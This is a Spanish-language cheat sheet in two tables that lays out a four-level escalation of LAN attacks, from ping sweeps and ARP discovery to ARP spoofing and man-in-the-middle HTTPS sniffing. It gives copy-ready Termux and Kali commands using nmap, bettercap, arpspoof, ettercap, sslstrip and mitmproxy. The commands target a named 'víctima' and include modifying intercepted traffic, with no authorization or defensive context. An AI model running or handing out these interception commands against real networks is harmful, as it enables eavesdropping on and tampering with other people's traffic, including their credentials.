| **Nivel** | **Técnica** | **Qué hicimos** | **Riesgo** | **¿Qué necesitas?** |
| --- | --- | --- | --- | --- |
| 1 | Reconocimiento básico (Ping Sweeping) | Escaneamos toda la red enviando paquetes de 'ping' a cada IP para ver quién responde. | Bajo | Termux/Kali conectado a la red, nmap o fping. |
| 2 | Reconocimiento intermedio (ARP Discovery) | Descubrimos dispositivos enviando solicitudes ARP. | Medio | Termux/Kali, permisos de red, herramientas como bettercap, netdiscover. |
| 3 | Intercepción básica (ARP Spoofing) | Fingimos ser otro dispositivo para recibir tráfico de la víctima. | Alto | Termux/Kali con permisos root, bettercap, arpspoof. |
| 4 | Intercepción avanzada (MiTM y Sniffing HTTPS) | Interceptamos tráfico cifrado o plano, incluso modificándolo. | Muy Alto | Kali o Termux configurado, bettercap, sslstrip, mitmproxy. |

| **Nivel** | **Técnica** | **Termux** | **Kali Linux** |
| --- | --- | --- | --- |
| 1 | Ping Sweeping | nmap -sn 192.168.1.0/24 | nmap -sn 192.168.1.0/24 o fping -a -g 192.168.1.0/24 |
| 2 | ARP Discovery | bettercap -eval "net.probe on" (requiere root) | arp-scan --localnet o netdiscover -r 192.168.1.0/24 |
| 3 | ARP Spoofing | bettercap -eval "net.probe on; arp.spoof on" | arpspoof -i wlan0 -t [IP víctima] [IP gateway] o ettercap -G |
| 4 | HTTPS Sniffing / MiTM | bettercap -eval "https.proxy on" (requiere root) | bettercap, sslstrip, mitmproxy, o ettercap |